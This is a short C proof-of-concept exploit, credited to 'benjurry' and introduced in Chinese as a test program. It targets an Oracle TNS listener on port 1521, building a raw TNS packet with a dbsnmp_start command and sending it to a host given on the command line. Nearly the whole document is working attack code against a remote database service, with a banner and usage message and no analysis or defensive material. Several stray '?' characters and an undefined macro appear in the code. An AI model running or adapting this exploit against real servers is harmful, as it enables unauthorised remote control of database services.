|
//benjurry(benjurry@263.net) 提供了如下测试程序:
#include <stdio.h> #include <winsock2.h> #include <windows.h> #include <stdlib.h> #pragma comment (lib,"Ws2_32") #define PORT 1521
#define buffsize2 buffsize+180 int main(int argc, char *argv[]) {
char cmd1[]="(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=dbsnmp_start)"; char cmd2[]="(VERSION=1)))"; char head[]="\x00\x59\x00\x00\x01\x00\x00\x00\x01\x36" "\x01\x2c\x00\x00\x08\x00\x7f\xff\x7f\x08\x00\x00\x00\x01" "\x00\x1f\x00\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x34\xe6\x00\x00\x00\x01\x00\x00" "\x00\x00\x00\x00\x00\x00";
char buffer2[200]; int ret; int packetlength; int cmdlength; int tt;
WSADATA WSAData; struct hostent?*ht; struct sockaddr_in?server;
printf("Oracle dbsnmp command Remote Vulnerability discoveried by Benjurry\n"); printf("Code by benjurry,benjurry@263.net\n"); printf("www.xfocus.org?www.benjurry.org\n"); if(argc<2) { printf("useage:%s target\n",argv[0]); exit(1); } tt=sizeof(head);
packetlength=58+sizeof(cmd1)+sizeof(cmd2)-2;
cmdlength=sizeof(cmd1)+sizeof(cmd2)-2;
memcpy(buffer2,head,sizeof(head)-1); memcpy(buffer2+sizeof(head)-1,cmd1,sizeof(cmd1)-1); memcpy(buffer2+sizeof(head)-1+sizeof(cmd1)-1,cmd2,sizeof(cmd2));
buffer2[0]=packetlength>> 8; buffer2[1]=packetlength & 0xff; buffer2[24]=cmdlength>>8; buffer2[25]=cmdlength& 0xff;
if((tt=WSAStartup(MAKEWORD(1,1), &WSAData)) != 0) { printf("WSAStartup failed.\n"); tt=GetLastError(); WSACleanup(); exit(1); } if((ht = gethostbyname(argv[1]))==0) { printf("Unable to resolve host %s\n",argv[1]); exit(1); } server.sin_port = htons(PORT); server.sin_family=AF_INET; server.sin_addr=*((struct in_addr *)ht->h_addr); if((ret = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Unable to set up socket\n"); exit(1); }?
if((connect(ret, (struct sockaddr *) &server, sizeof(server))) == -1) { printf("Unable to connect\n"); exit(1); } else printf("Connected.\n"); //if(send(ret, tnsping, 100, 0) == -1)
if(send(ret, buffer2, packetlength, 0) == -1) { printf("Unable to send\n"); exit(1); } else { printf("code sented...\n");
} Sleep(1000); closesocket(ret); return 0;
}
|